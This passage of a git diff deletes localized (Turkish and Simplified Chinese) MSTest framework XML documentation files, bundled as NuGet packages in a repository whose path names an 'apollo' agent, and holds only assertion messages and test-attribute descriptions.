değerinden büyük bir fark bekleniyordu. {0}. - - - - - Şuna benzer bir yerelleştirilmiş dize arar: <{1}> dışında bir değer bekleniyordu. Gerçek:<{2}>. {0}. - - - - - Şuna benzer bir yerelleştirilmiş dize arar: Değer türlerini AreSame() metoduna geçirmeyin. Object türüne dönüştürülen değerler hiçbir zaman aynı olmaz. AreEqual(). kullanmayı deneyin {0}. - - - - - Şuna benzer bir yerelleştirilmiş dize arar: {0} başarısız oldu. {1}. - - - - - Şuna benzer bir yerelleştirilmiş dize arar: UITestMethodAttribute özniteliğine sahip async TestMethod metodu desteklenmiyor. async ifadesini kaldırın ya da TestMethodAttribute özniteliğini kullanın. - - - - - Şuna benzer bir yerelleştirilmiş dize arar: Her iki koleksiyon da boş. {0}. - - - - - Şuna benzer bir yerelleştirilmiş dize arar: Her iki koleksiyon da aynı öğeleri içeriyor. - - - - - Şuna benzer bir yerelleştirilmiş dize arar: Her iki koleksiyon başvurusu da aynı koleksiyon nesnesini işaret ediyor. {0}. - - - - - Şuna benzer bir yerelleştirilmiş dize arar: Her iki koleksiyon da aynı öğeleri içeriyor. {0}. - - - - - Şuna benzer bir yerelleştirilmiş dize arar: {0}({1}). - - - - - Şuna benzer bir yerelleştirilmiş dize arar: null. - - - - - Şuna benzer bir yerelleştirilmiş dize arar: nesne. - - - - - Şuna benzer bir yerelleştirilmiş dize arar: '{0}' dizesi '{1}' dizesini içermiyor. {2}. - - - - - Şuna benzer bir yerelleştirilmiş dize arar: {0} ({1}). - - - - - Şuna benzer bir yerelleştirilmiş dize arar: Assert.Equals, Onaylamalar için kullanılmamalıdır. Lütfen bunun yerine Assert.AreEqual ve aşırı yüklemelerini kullanın. - - - - - Şuna benzer bir yerelleştirilmiş dize arar: Koleksiyonlardaki öğe sayıları eşleşmiyor. Beklenen:<{1}>. Gerçek:<{2}>.{0}. - - - - - Şuna benzer bir yerelleştirilmiş dize arar: {0} dizinindeki öğe eşleşmiyor. - - - - - Şuna benzer bir yerelleştirilmiş dize arar: {1} dizinindeki öğe beklenen türde değil. Beklenen tür:<{2}>. Gerçek tür:<{3}>.{0}. - - - - - Şuna benzer bir yerelleştirilmiş dizeyi arar: {1} dizinindeki öğe (null). Beklenen tür:<{2}>.{0}. - - - - - Şuna benzer bir yerelleştirilmiş dize arar: '{0}' dizesi '{1}' dizesiyle bitmiyor. {2}. - - - - - Şuna benzer bir yerelleştirilmiş dize arar: Geçersiz bağımsız değişken. EqualsTester null değerler kullanamaz. - - - - - Şuna benzer bir yerelleştirilmiş dize arar: {0} türündeki nesne {1} türüne dönüştürülemiyor. - - - - - Şuna benzer bir yerelleştirilmiş dize arar: Başvurulan iç nesne artık geçerli değil. - - - - - Şuna benzer bir yerelleştirilmiş dize arar: '{0}' parametresi geçersiz. {1}. - - - - - Şuna benzer bir yerelleştirilmiş dize arar: {0} özelliği {1} türüne sahip; beklenen tür {2}. - - - - - Şuna benzer bir yerelleştirilmiş dize arar: {0} Beklenen tür:<{1}>. Gerçek tür:<{2}>. - - - - - Şuna benzer bir yerelleştirilmiş dize arar: '{0}' dizesi '{1}' deseniyle eşleşmiyor. {2}. - - - - - Şuna benzer bir yerelleştirilmiş dize arar: Yanlış Tür:<{1}>. Gerçek tür:<{2}>. {0}. - - - - - Şuna benzer bir yerelleştirilmiş dize arar: '{0}' dizesi '{1}' deseniyle eşleşiyor. {2}. - - - - - Şuna benzer bir yerelleştirilmiş dize arar: No DataRowAttribute belirtilmedi. DataTestMethodAttribute ile en az bir DataRowAttribute gereklidir. - - - - - Şuna benzer bir yerelleştirilmiş dize arar: Özel durum oluşturulmadı. {1} özel durumu bekleniyordu. {0}. - - - - - Şuna benzer bir yerelleştirilmiş dize arar: '{0}' parametresi geçersiz. Değer null olamaz. {1}. - - - - - Şuna benzer bir yerelleştirilmiş dize arar: Farklı sayıda öğe. - - - - - Şuna benzer bir yerelleştirilmiş dize arar: - Belirtilen imzaya sahip oluşturucu bulunamadı. Özel erişimcinizi yeniden oluşturmanız gerekebilir - veya üye özel ve bir temel sınıfta tanımlanmış olabilir. İkinci durum geçerliyse üyeyi - tanımlayan türü PrivateObject oluşturucusuna geçirmeniz gerekir. - . - - - - - Şuna benzer bir yerelleştirilmiş dize arar: - Belirtilen üye ({0}) bulunamadı. Özel erişimcinizi yeniden oluşturmanız gerekebilir - veya üye özel ve bir temel sınıfta tanımlanmış olabilir. İkinci durum geçerliyse üyeyi tanımlayan türü - PrivateObject oluşturucusuna geçirmeniz gerekir. - . - - - - - Şuna benzer bir yerelleştirilmiş dize arar: '{0}' dizesi '{1}' dizesiyle başlamıyor. {2}. - - - - - Şuna benzer bir yerelleştirilmiş dize arar: Beklenen özel durum türü System.Exception veya System.Exception'dan türetilmiş bir tür olmalıdır. - - - - - Şuna benzer bir yerelleştirilmiş dize arar: Bir özel durum nedeniyle {0} türündeki özel durum için ileti alınamadı. - - - - - Şuna benzer bir yerelleştirilmiş dize arar: Test metodu beklenen {0} özel durumunu oluşturmadı. {1}. - - - - - Şuna benzer bir yerelleştirilmiş dize arar: Test metodu bir özel durum oluşturmadı. Test metodunda tanımlanan {0} özniteliği tarafından bir özel durum bekleniyordu. - - - - - Şuna benzer bir yerelleştirilmiş dize arar: Test metodu {0} özel durumunu oluşturdu, ancak {1} özel durumu bekleniyordu. Özel durum iletisi: {2}. - - - - - Şuna benzer bir yerelleştirilmiş dize arar: Test metodu {0} özel durumunu oluşturdu, ancak {1} özel durumu veya bundan türetilmiş bir tür bekleniyordu. Özel durum iletisi: {2}. - - - - - Şuna benzer bir yerelleştirilmiş dize arar: {2} özel durumu oluşturuldu, ancak {1} özel durumu bekleniyordu. {0} - Özel Durum İletisi: {3} - Yığın İzleme: {4}. - - - - - birim testi sonuçları - - - - - Test yürütüldü ancak sorunlar oluştu. - Sorunlar özel durumları veya başarısız onaylamaları içerebilir. - - - - - Test tamamlandı ancak başarılı olup olmadığı belli değil. - İptal edilen testler için kullanılabilir. - - - - - Test bir sorun olmadan yürütüldü. - - - - - Test şu anda yürütülüyor. - - - - - Test yürütülmeye çalışılırken bir sistem hatası oluştu. - - - - - Test zaman aşımına uğradı. - - - - - Test, kullanıcı tarafından iptal edildi. - - - - - Test bilinmeyen bir durumda - - - - - Birim testi çerçevesi için yardımcı işlevini sağlar - - - - - Yinelemeli olarak tüm iç özel durumların iletileri dahil olmak üzere - özel durum iletilerini alır - - Şunun için iletilerin alınacağı özel durum: - hata iletisi bilgilerini içeren dize - - - - Zaman aşımları için sınıfı ile birlikte kullanılabilen sabit listesi. - Sabit listesinin türü eşleşmelidir - - - - - Sonsuz. - - - - - Test sınıfı özniteliği. - - - - - Bu testi çalıştırmayı sağlayan bir test metodu özniteliği alır. - - Bu metot üzerinde tanımlanan test metodu özniteliği örneği. - The bu testi çalıştırmak için kullanılabilir. - Extensions can override this method to customize how all methods in a class are run. - - - - Test metodu özniteliği. - - - - - Bir test metodu yürütür. - - Yürütülecek test metodu. - Testin sonuçlarını temsil eden bir TestResult nesneleri dizisi. - Extensions can override this method to customize running a TestMethod. - - - - Test başlatma özniteliği. - - - - - Test temizleme özniteliği. - - - - - Ignore özniteliği. - - - - - Test özelliği özniteliği. - - - - - sınıfının yeni bir örneğini başlatır. - - - Ad. - - - Değer. - - - - - Adı alır. - - - - - Değeri alır. - - - - - Sınıf başlatma özniteliği. - - - - - Sınıf temizleme özniteliği. - - - - - Bütünleştirilmiş kod başlatma özniteliği. - - - - - Bütünleştirilmiş kod temizleme özniteliği. - - - - - Test Sahibi - - - - - sınıfının yeni bir örneğini başlatır. - - - Sahip. - - - - - Sahibi alır. - - - - - Priority özniteliği; birim testinin önceliğini belirtmek için kullanılır. - - - - - sınıfının yeni bir örneğini başlatır. - - - Öncelik. - - - - - Önceliği alır. - - - - - Testin açıklaması - - - - - Bir testi açıklamak için kullanılan sınıfının yeni bir örneğini başlatır. - - Açıklama. - - - - Bir testin açıklamasını alır. - - - - - CSS Proje Yapısı URI'si - - - - - CSS Proje Yapısı URI'si için sınıfının yeni bir örneğini başlatır. - - CSS Proje Yapısı URI'si. - - - - CSS Proje Yapısı URI'sini alır. - - - - - CSS Yineleme URI'si - - - - - CSS Yineleme URI'si için sınıfının yeni bir örneğini başlatır. - - CSS Yineleme URI'si. - - - - CSS Yineleme URI'sini alır. - - - - - WorkItem özniteliği; bu testle ilişkili bir çalışma öğesini belirtmek için kullanılır. - - - - - WorkItem Özniteliği için sınıfının yeni bir örneğini başlatır. - - Bir iş öğesinin kimliği. - - - - İlişkili bir iş öğesinin kimliğini alır. - - - - - Timeout özniteliği; bir birim testinin zaman aşımını belirtmek için kullanılır. - - - - - sınıfının yeni bir örneğini başlatır. - - - Zaman aşımı. - - - - - sınıfının önceden ayarlanmış bir zaman aşımı ile yeni bir örneğini başlatır - - - Zaman aşımı - - - - - Zaman aşımını alır. - - - - - Bağdaştırıcıya döndürülecek TestResult nesnesi. - - - - - sınıfının yeni bir örneğini başlatır. - - - - - Sonucun görünen adını alır veya ayarlar. Birden fazla sonuç döndürürken yararlıdır. - Null ise Metot adı DisplayName olarak kullanılır. - - - - - Test yürütmesinin sonucunu alır veya ayarlar. - - - - - Test başarısız olduğunda oluşturulan özel durumu alır veya ayarlar. - - - - - Test kodu tarafından günlüğe kaydedilen iletinin çıktısını alır veya ayarlar. - - - - - Test kodu tarafından günlüğe kaydedilen iletinin çıktısını alır veya ayarlar. - - - - - Test koduna göre hata ayıklama izlemelerini alır veya ayarlar. - - - - - Gets or sets the debug traces by test code. - - - - - Test yürütme süresini alır veya ayarlar. - - - - - Veri kaynağındaki veri satırı dizinini alır veya ayarlar. Yalnızca, veri tabanlı bir testin tek bir veri satırının - çalıştırılmasına ait sonuçlar için ayarlayın. - - - - - Test metodunun dönüş değerini alır veya ayarlar. (Şu anda her zaman null). - - - - - Test tarafından eklenen sonuç dosyalarını alır veya ayarlar. - - - - - Veri tabanlı test için bağlantı dizesini, tablo adını ve satır erişim metodunu belirtir. - - - [DataSource("Provider=SQLOLEDB.1;Data Source=source;Integrated Security=SSPI;Initial Catalog=EqtCoverage;Persist Security Info=False", "MyTable")] - [DataSource("dataSourceNameFromConfigFile")] - - - - - DataSource için varsayılan sağlayıcı adı. - - - - - Varsayılan veri erişimi metodu. - - - - - sınıfının yeni bir örneğini başlatır. Bu örnek bir veri sağlayıcısı, bağlantı dizesi, veri tablosu ve veri kaynağına erişmek için kullanılan veri erişimi metodu ile başlatılır. - - System.Data.SqlClient gibi değişmez veri sağlayıcısı adı - - Veri sağlayıcısına özgü bağlantı dizesi. - UYARI: Bağlantı dizesi, hassas veriler (parola gibi) içerebilir. - Bağlantı dizesi, kaynak kodunda ve derlenmiş bütünleştirilmiş kodda düz metin olarak depolanır. - Bu hassas bilgileri korumak için kaynak koda ve bütünleştirilmiş koda erişimi kısıtlayın. - - Veri tablosunun adı. - Verilere erişme sırasını belirtir. - - - - sınıfının yeni bir örneğini başlatır. Bu örnek bir bağlantı dizesi ve tablo adı ile başlatılır. - OLEDB veri kaynağına erişmek için kullanılan bağlantı dizesini ve veri tablosunu belirtin. - - - Veri sağlayıcısına özgü bağlantı dizesi. - UYARI: Bağlantı dizesi, hassas veriler (parola gibi) içerebilir. - Bağlantı dizesi, kaynak kodunda ve derlenmiş bütünleştirilmiş kodda düz metin olarak depolanır. - Bu hassas bilgileri korumak için kaynak koda ve bütünleştirilmiş koda erişimi kısıtlayın. - - Veri tablosunun adı. - - - - sınıfının yeni bir örneğini başlatır. Bu örnek bir veri sağlayıcısı ile ve ayar adıyla ilişkili bir bağlantı dizesi ile başlatılır. - - App.config dosyasındaki <microsoft.visualstudio.qualitytools> bölümünde bulunan veri kaynağının adı. - - - - Veri kaynağının veri sağlayıcısını temsil eden bir değer alır. - - - Veri sağlayıcısı adı. Nesne başlatılırken bir veri sağlayıcısı belirtilmemişse varsayılan System.Data.OleDb sağlayıcısı döndürülür. - - - - - Veri kaynağının bağlantı dizesini temsil eden bir değer alır. - - - - - Verileri sağlayan tablo adını belirten bir değer alır. - - - - - Veri kaynağına erişmek için kullanılan metodu alır. - - - - Bir değerlerdir. Eğer başlatılmazsa, varsayılan değeri döndürür . - - - - - App.config dosyasındaki <microsoft.visualstudio.qualitytools> bölümünde bulunan bir veri kaynağının adını alır. - - - - - Verilerin satır içi belirtilebileceği veri tabanlı testin özniteliği. - - - - - Tüm veri satırlarını bulur ve yürütür. - - - Test Yöntemi. - - - Bir . - - - - - Veri tabanlı test metodunu çalıştırır. - - Yürütülecek test yöntemi. - Veri Satırı. - Yürütme sonuçları. - - - diff --git a/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/uap10.0/zh-Hans/Microsoft.VisualStudio.TestPlatform.TestFramework.Extensions.xml b/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/uap10.0/zh-Hans/Microsoft.VisualStudio.TestPlatform.TestFramework.Extensions.xml deleted file mode 100644 index 0eaba922..00000000 --- a/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/uap10.0/zh-Hans/Microsoft.VisualStudio.TestPlatform.TestFramework.Extensions.xml +++ /dev/null @@ -1,113 +0,0 @@ - - - - Microsoft.VisualStudio.TestPlatform.TestFramework.Extensions - - - - - 用于为预测试部署指定部署项(文件或目录)。 - 可在测试类或测试方法上指定。 - 可使用多个特性实例来指定多个项。 - 项路径可以是绝对路径或相对路径,如果为相对路径,则相对于 RunConfig.RelativePathRoot。 - - - [DeploymentItem("file1.xml")] - [DeploymentItem("file2.xml", "DataFiles")] - [DeploymentItem("bin\Debug")] - - - Putting this in here so that UWP discovery works. We still do not want users to be using DeploymentItem in the UWP world - Hence making it internal. - We should separate out DeploymentItem logic in the adapter via a Framework extensiblity point. - Filed https://github.com/Microsoft/testfx/issues/100 to track this. - - - - - 初始化 类的新实例。 - - 要部署的文件或目录。路径与生成输出目录相关。将项复制到与已部署测试程序集相同的目录。 - - - - 初始化 类的新实例 - - 要部署的文件或目录的相对路径或绝对路径。该路径相对于生成输出目录。将项复制到与已部署测试程序集相同的目录。 - 要将项复制到其中的目录路径。它可以是绝对部署目录或相对部署目录。所有由以下对象标识的文件和目录: 将复制到此目录。 - - - - 获取要复制的源文件或文件夹的路径。 - - - - - 获取将项复制到其中的目录路径。 - - - - - 在 Windows 应用商店应用的 UI 线程中执行测试代码。 - - - - - 在 UI 线程上执行测试方法。 - - - 测试方法。 - - - 一系列实例。 - - Throws when run on an async test method. - - - - - TestContext 类。此类应完全抽象,且不包含任何 - 成员。适配器将实现成员。框架中的用户应 - 仅通过定义完善的接口对此进行访问。 - - - - - 获取测试的测试属性。 - - - - - 获取包含当前正在执行的测试方法的类的完全限定名称 - - - This property can be useful in attributes derived from ExpectedExceptionBaseAttribute. - Those attributes have access to the test context, and provide messages that are included - in the test results. Users can benefit from messages that include the fully-qualified - class name in addition to the name of the test method currently being executed. - - - - - 获取当前正在执行的测试方法的名称 - - - - - 获取当前测试结果。 - - - - - Used to write trace messages while the test is running - - formatted message string - - - - Used to write trace messages while the test is running - - format string - the arguments - - - diff --git a/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/uap10.0/zh-Hans/Microsoft.VisualStudio.TestPlatform.TestFramework.xml b/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/uap10.0/zh-Hans/Microsoft.VisualStudio.TestPlatform.TestFramework.xml deleted file mode 100644 index 0ccce3fa..00000000 --- a/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/uap10.0/zh-Hans/Microsoft.VisualStudio.TestPlatform.TestFramework.xml +++ /dev/null @@ -1,4201 +0,0 @@ - - - - Microsoft.VisualStudio.TestPlatform.TestFramework - - - - - 用于执行的 TestMethod。 - - - - - 获取测试方法的名称。 - - - - - 获取测试类的名称。 - - - - - 获取测试方法的返回类型。 - - - - - 获取测试方法的参数。 - - - - - 获取测试方法的 methodInfo。 - - - This is just to retrieve additional information about the method. - Do not directly invoke the method using MethodInfo. Use ITestMethod.Invoke instead. - - - - - 调用测试方法。 - - - 传递到测试方法的参数(例如,对于数据驱动) - - - 测试方法调用的结果。 - - - This call handles asynchronous test methods as well. - - - - - 获取测试方法的所有属性。 - - - 父类中定义的任何属性都有效。 - - - 所有特性。 - - - - - 获取特定类型的属性。 - - System.Attribute type. - - 父类中定义的任何属性都有效。 - - - 指定类型的属性。 - - - - - 帮助程序。 - - - - - 非 null 的检查参数。 - - - 参数。 - - - 参数名称。 - - - 消息。 - - Throws argument null exception when parameter is null. - - - - 不为 null 或不为空的检查参数。 - - - 参数。 - - - 参数名称。 - - - 消息。 - - Throws ArgumentException when parameter is null. - - - - 枚举在数据驱动测试中访问数据行的方式。 - - - - - 按连续顺序返回行。 - - - - - 按随机顺序返回行。 - - - - - 用于定义测试方法内联数据的属性。 - - - - - 初始化 类的新实例。 - - 数据对象。 - - - - 初始化采用参数数组的 类的新实例。 - - 一个数据对象。 - 更多数据。 - - - - 获取数据以调用测试方法。 - - - - - 在测试结果中为自定义获取或设置显示名称。 - - - - - 断言无结论异常。 - - - - - 初始化 类的新实例。 - - 消息。 - 异常。 - - - - 初始化 类的新实例。 - - 消息。 - - - - 初始化 类的新实例。 - - - - - InternalTestFailureException 类。用来指示测试用例的内部错误 - - - This class is only added to preserve source compatibility with the V1 framework. - For all practical purposes either use AssertFailedException/AssertInconclusiveException. - - - - - 初始化 类的新实例。 - - 异常消息。 - 异常。 - - - - 初始化 类的新实例。 - - 异常消息。 - - - - 初始化 类的新实例。 - - - - - 指定引发指定类型异常的属性 - - - - - 初始化含有预期类型的 类的新实例 - - 预期异常的类型 - - - - 初始化 类的新实例, - 测试未引发异常时,该类中会包含预期类型和消息。 - - 预期异常的类型 - - 测试由于未引发异常而失败时测试结果中要包含的消息 - - - - - 获取指示预期异常类型的值 - - - - - 获取或设置一个值,指示是否允许将派生自预期异常类型的类型 - 作为预期类型 - - - - - 如果由于未引发异常导致测试失败,获取该消息以将其附加在测试结果中 - - - - - 验证由单元测试引发的异常类型是否为预期类型 - - 由单元测试引发的异常 - - - - 指定应从单元测试引发异常的属性基类 - - - - - 初始化含有默认无异常消息的 类的新实例 - - - - - 初始化含有一条无异常消息的 类的新实例 - - - 测试由于未引发异常而失败时测试结果中要包含的 - 消息 - - - - - 如果由于未引发异常导致测试失败,获取该消息以将其附加在测试结果中 - - - - - 如果由于未引发异常导致测试失败,获取该消息以将其附加在测试结果中 - - - - - 获取默认无异常消息 - - ExpectedException 特性类型名称 - 默认非异常消息 - - - - 确定该异常是否为预期异常。如果返回了方法,则表示 - 该异常为预期异常。如果方法引发异常,则表示 - 该异常不是预期异常,且引发的异常消息 - 包含在测试结果中。为了方便, - 可使用 类。如果使用了 且断言失败, - 则表示测试结果设置为了“无结论”。 - - 由单元测试引发的异常 - - - - 如果异常为 AssertFailedException 或 AssertInconclusiveException,则再次引发该异常 - - 如果是断言异常则要重新引发的异常 - - - - 此类旨在帮助用户使用泛型类型为类型执行单元测试。 - GenericParameterHelper 满足某些常见的泛型类型限制, - 如: - 1.公共默认构造函数 - 2.实现公共接口: IComparable,IEnumerable - - - - - 初始化 类的新实例, - 该类满足 C# 泛型中的“可续订”约束。 - - - This constructor initializes the Data property to a random value. - - - - - 初始化 类的新实例, - 该类将数据属性初始化为用户提供的值。 - - 任意整数值 - - - - 获取或设置数据 - - - - - 比较两个 GenericParameterHelper 对象的值 - - 要进行比较的对象 - 如果 obj 与“此”GenericParameterHelper 对象具有相同的值,则为 true。 - 反之则为 false。 - - - - 为此对象返回哈希代码。 - - 哈希代码。 - - - - 比较两个 对象的数据。 - - 要比较的对象。 - - 有符号的数字表示此实例和值的相对值。 - - - Thrown when the object passed in is not an instance of . - - - - - 返回一个 IEnumerator 对象,该对象的长度派生自 - 数据属性。 - - IEnumerator 对象 - - - - 返回与当前对象相同的 GenericParameterHelper - 对象。 - - 克隆对象。 - - - - 允许用户记录/编写单元测试的跟踪以进行诊断。 - - - - - 用于 LogMessage 的处理程序。 - - 要记录的消息。 - - - - 要侦听的事件。单元测试编写器编写某些消息时引发。 - 主要供适配器使用。 - - - - - 测试编写器要将其调用到日志消息的 API。 - - 带占位符的字符串格式。 - 占位符的参数。 - - - - TestCategory 属性;用于指定单元测试的分类。 - - - - - 初始化 类的新实例并将分类应用到该测试。 - - - 测试类别。 - - - - - 获取已应用到测试的测试类别。 - - - - - "Category" 属性的基类 - - - The reason for this attribute is to let the users create their own implementation of test categories. - - test framework (discovery, etc) deals with TestCategoryBaseAttribute. - - The reason that TestCategories property is a collection rather than a string, - is to give more flexibility to the user. For instance the implementation may be based on enums for which the values can be OR'ed - in which case it makes sense to have single attribute rather than multiple ones on the same test. - - - - - 初始化 类的新实例。 - 将分类应用到测试。TestCategories 返回的字符串 - 与 /category 命令一起使用,以筛选测试 - - - - - 获取已应用到测试的测试分类。 - - - - - AssertFailedException 类。用于指示测试用例失败 - - - - - 初始化 类的新实例。 - - 消息。 - 异常。 - - - - 初始化 类的新实例。 - - 消息。 - - - - 初始化 类的新实例。 - - - - - 帮助程序类的集合,用于测试单元测试中 - 的各种条件。如果不满足被测条件,则引发 - 一个异常。 - - - - - 获取 Assert 功能的单一实例。 - - - Users can use this to plug-in custom assertions through C# extension methods. - For instance, the signature of a custom assertion provider could be "public static void IsOfType<T>(this Assert assert, object obj)" - Users could then use a syntax similar to the default assertions which in this case is "Assert.That.IsOfType<Dog>(animal);" - More documentation is at "https://github.com/Microsoft/testfx-docs". - - - - - 测试指定条件是否为 true, - 如果该条件为 false,则引发一个异常。 - - - 测试预期为 true 的条件。 - - - Thrown if is false. - - - - - 测试指定条件是否为 true, - 如果该条件为 false,则引发一个异常。 - - - 测试预期为 true 的条件。 - - - 要包含在异常中的消息,条件是当 - 为 false。消息显示在测试结果中。 - - - Thrown if is false. - - - - - 测试指定条件是否为 true, - 如果该条件为 false,则引发一个异常。 - - - 测试预期为 true 的条件。 - - - 要包含在异常中的消息,条件是当 - 为 false。消息显示在测试结果中。 - - - 在格式化时使用的参数数组 。 - - - Thrown if is false. - - - - - 测试指定条件是否为 false,如果条件为 true, - 则引发一个异常。 - - - 测试预期为 false 的条件。 - - - Thrown if is true. - - - - - 测试指定条件是否为 false,如果条件为 true, - 则引发一个异常。 - - - 测试预期为 false 的条件。 - - - 要包含在异常中的消息,条件是当 - 为 true。消息显示在测试结果中。 - - - Thrown if is true. - - - - - 测试指定条件是否为 false,如果条件为 true, - 则引发一个异常。 - - - 测试预期为 false 的条件。 - - - 要包含在异常中的消息,条件是当 - 为 true。消息显示在测试结果中。 - - - 在格式化时使用的参数数组 。 - - - Thrown if is true. - - - - - 测试指定的对象是否为 null,如果不是, - 则引发一个异常。 - - - 测试预期为 null 的对象。 - - - Thrown if is not null. - - - - - 测试指定的对象是否为 null,如果不是, - 则引发一个异常。 - - - 测试预期为 null 的对象。 - - - 要包含在异常中的消息,条件是当 - 不为 null。消息显示在测试结果中。 - - - Thrown if is not null. - - - - - 测试指定的对象是否为 null,如果不是, - 则引发一个异常。 - - - 测试预期为 null 的对象。 - - - 要包含在异常中的消息,条件是当 - 不为 null。消息显示在测试结果中。 - - - 在格式化时使用的参数数组 。 - - - Thrown if is not null. - - - - - 测试指定对象是否非 null,如果为 null, - 则引发一个异常。 - - - 测试预期不为 null 的对象。 - - - Thrown if is null. - - - - - 测试指定对象是否非 null,如果为 null, - 则引发一个异常。 - - - 测试预期不为 null 的对象。 - - - 要包含在异常中的消息,条件是当 - 为 null。消息显示在测试结果中。 - - - Thrown if is null. - - - - - 测试指定对象是否非 null,如果为 null, - 则引发一个异常。 - - - 测试预期不为 null 的对象。 - - - 要包含在异常中的消息,条件是当 - 为 null。消息显示在测试结果中。 - - - 在格式化时使用的参数数组 。 - - - Thrown if is null. - - - - - 测试指定的两个对象是否引用同一对象, - 如果两个输入不引用同一对象,则引发一个异常。 - - - 要比较的第一个对象。这是测试预期的值。 - - - 要比较的第二个对象。这是测试下代码生成的值。 - - - Thrown if does not refer to the same object - as . - - - - - 测试指定的两个对象是否引用同一对象, - 如果两个输入不引用同一对象,则引发一个异常。 - - - 要比较的第一个对象。这是测试预期的值。 - - - 要比较的第二个对象。这是测试下代码生成的值。 - - - 要包含在异常中的消息,条件是当 - 不相同 。消息显示 - 在测试结果中。 - - - Thrown if does not refer to the same object - as . - - - - - 测试指定的两个对象是否引用同一对象, - 如果两个输入不引用同一对象,则引发一个异常。 - - - 要比较的第一个对象。这是测试预期的值。 - - - 要比较的第二个对象。这是测试下代码生成的值。 - - - 要包含在异常中的消息,条件是当 - 不相同 。消息显示 - 在测试结果中。 - - - 在格式化时使用的参数数组 。 - - - Thrown if does not refer to the same object - as . - - - - - 测试指定的对象是否引用了不同对象, - 如果两个输入引用同一对象,则引发一个异常。 - - - 要比较的第一个对象。这是测试预期与 - 以下内容不匹配的值: 。 - - - 要比较的第二个对象。这是测试下代码生成的值。 - - - Thrown if refers to the same object - as . - - - - - 测试指定的对象是否引用了不同对象, - 如果两个输入引用同一对象,则引发一个异常。 - - - 要比较的第一个对象。这是测试预期与 - 以下内容不匹配的值: 。 - - - 要比较的第二个对象。这是测试下代码生成的值。 - - - 要包含在异常中的消息,条件是当 - 相同 。消息显示在 - 测试结果中。 - - - Thrown if refers to the same object - as . - - - - - 测试指定的对象是否引用了不同对象, - 如果两个输入引用同一对象,则引发一个异常。 - - - 要比较的第一个对象。这是测试预期与 - 以下内容不匹配的值: 。 - - - 要比较的第二个对象。这是测试下代码生成的值。 - - - 要包含在异常中的消息,条件是当 - 相同 。消息显示在 - 测试结果中。 - - - 在格式化时使用的参数数组 。 - - - Thrown if refers to the same object - as . - - - - - 测试指定值是否相等, - 如果两个值不相等,则引发一个异常。即使逻辑值相等,不同的数字类型也被视为 - 不相等。42L 不等于 42。 - - - The type of values to compare. - - - 要比较的第一个值。这是测试预期的值。 - - - 要比较的第二个值。这是测试下代码生成的值。 - - - Thrown if is not equal to . - - - - - 测试指定值是否相等, - 如果两个值不相等,则引发一个异常。即使逻辑值相等,不同的数字类型也被视为 - 不相等。42L 不等于 42。 - - - The type of values to compare. - - - 要比较的第一个值。这是测试预期的值。 - - - 要比较的第二个值。这是测试下代码生成的值。 - - - 要包含在异常中的消息,条件是当 - 不等于 。消息显示在 - 测试结果中。 - - - Thrown if is not equal to - . - - - - - 测试指定值是否相等, - 如果两个值不相等,则引发一个异常。即使逻辑值相等,不同的数字类型也被视为 - 不相等。42L 不等于 42。 - - - The type of values to compare. - - - 要比较的第一个值。这是测试预期的值。 - - - 要比较的第二个值。这是测试下代码生成的值。 - - - 要包含在异常中的消息,条件是当 - 不等于 。消息显示在 - 测试结果中。 - - - 在格式化时使用的参数数组 。 - - - Thrown if is not equal to - . - - - - - 测试指定的值是否不相等, - 如果两个值相等,则引发一个异常。即使逻辑值相等,不同的数字类型也被视为 - 不相等。42L 不等于 42。 - - - The type of values to compare. - - - 要比较的第一个值。这是测试预期不匹配 - 的值 。 - - - 要比较的第二个值。这是测试下代码生成的值。 - - - Thrown if is equal to . - - - - - 测试指定的值是否不相等, - 如果两个值相等,则引发一个异常。即使逻辑值相等,不同的数字类型也被视为 - 不相等。42L 不等于 42。 - - - The type of values to compare. - - - 要比较的第一个值。这是测试预期不匹配 - 的值 。 - - - 要比较的第二个值。这是测试下代码生成的值。 - - - 要包含在异常中的消息,条件是当 - 等于 。消息显示在 - 测试结果中。 - - - Thrown if is equal to . - - - - - 测试指定的值是否不相等, - 如果两个值相等,则引发一个异常。即使逻辑值相等,不同的数字类型也被视为 - 不相等。42L 不等于 42。 - - - The type of values to compare. - - - 要比较的第一个值。这是测试预期不匹配 - 的值 。 - - - 要比较的第二个值。这是测试下代码生成的值。 - - - 要包含在异常中的消息,条件是当 - 等于 。消息显示在 - 测试结果中。 - - - 在格式化时使用的参数数组 。 - - - Thrown if is equal to . - - - - - 测试指定对象是否相等, - 如果两个对象不相等,则引发一个异常。即使逻辑值相等, - 不同的数字类型也被视为不相等。42L 不等于 42。 - - - 要比较的第一个对象。这是测试预期的对象。 - - - 要比较的第二个对象。这是在测试下由代码生成的对象。 - - - Thrown if is not equal to - . - - - - - 测试指定对象是否相等, - 如果两个对象不相等,则引发一个异常。即使逻辑值相等, - 不同的数字类型也被视为不相等。42L 不等于 42。 - - - 要比较的第一个对象。这是测试预期的对象。 - - - 要比较的第二个对象。这是在测试下由代码生成的对象。 - - - 要包含在异常中的消息,条件是当 - 不等于 。消息显示在 - 测试结果中。 - - - Thrown if is not equal to - . - - - - - 测试指定对象是否相等, - 如果两个对象不相等,则引发一个异常。即使逻辑值相等, - 不同的数字类型也被视为不相等。42L 不等于 42。 - - - 要比较的第一个对象。这是测试预期的对象。 - - - 要比较的第二个对象。这是在测试下由代码生成的对象。 - - - 要包含在异常中的消息,条件是当 - 不等于 。消息显示在 - 测试结果中。 - - - 在格式化时使用的参数数组 。 - - - Thrown if is not equal to - . - - - - - 测试指定对象是否不相等, - 如果相等,则引发一个异常。即使逻辑值相等,不同的数字类型也被视为 - 不相等。42L 不等于 42。 - - - 要比较的第一个对象。这是测试预期与 - 以下内容不匹配的值: 。 - - - 要比较的第二个对象。这是在测试下由代码生成的对象。 - - - Thrown if is equal to . - - - - - 测试指定对象是否不相等, - 如果相等,则引发一个异常。即使逻辑值相等,不同的数字类型也被视为 - 不相等。42L 不等于 42。 - - - 要比较的第一个对象。这是测试预期与 - 以下内容不匹配的值: 。 - - - 要比较的第二个对象。这是在测试下由代码生成的对象。 - - - 要包含在异常中的消息,条件是当 - 等于 。消息显示在 - 测试结果中。 - - - Thrown if is equal to . - - - 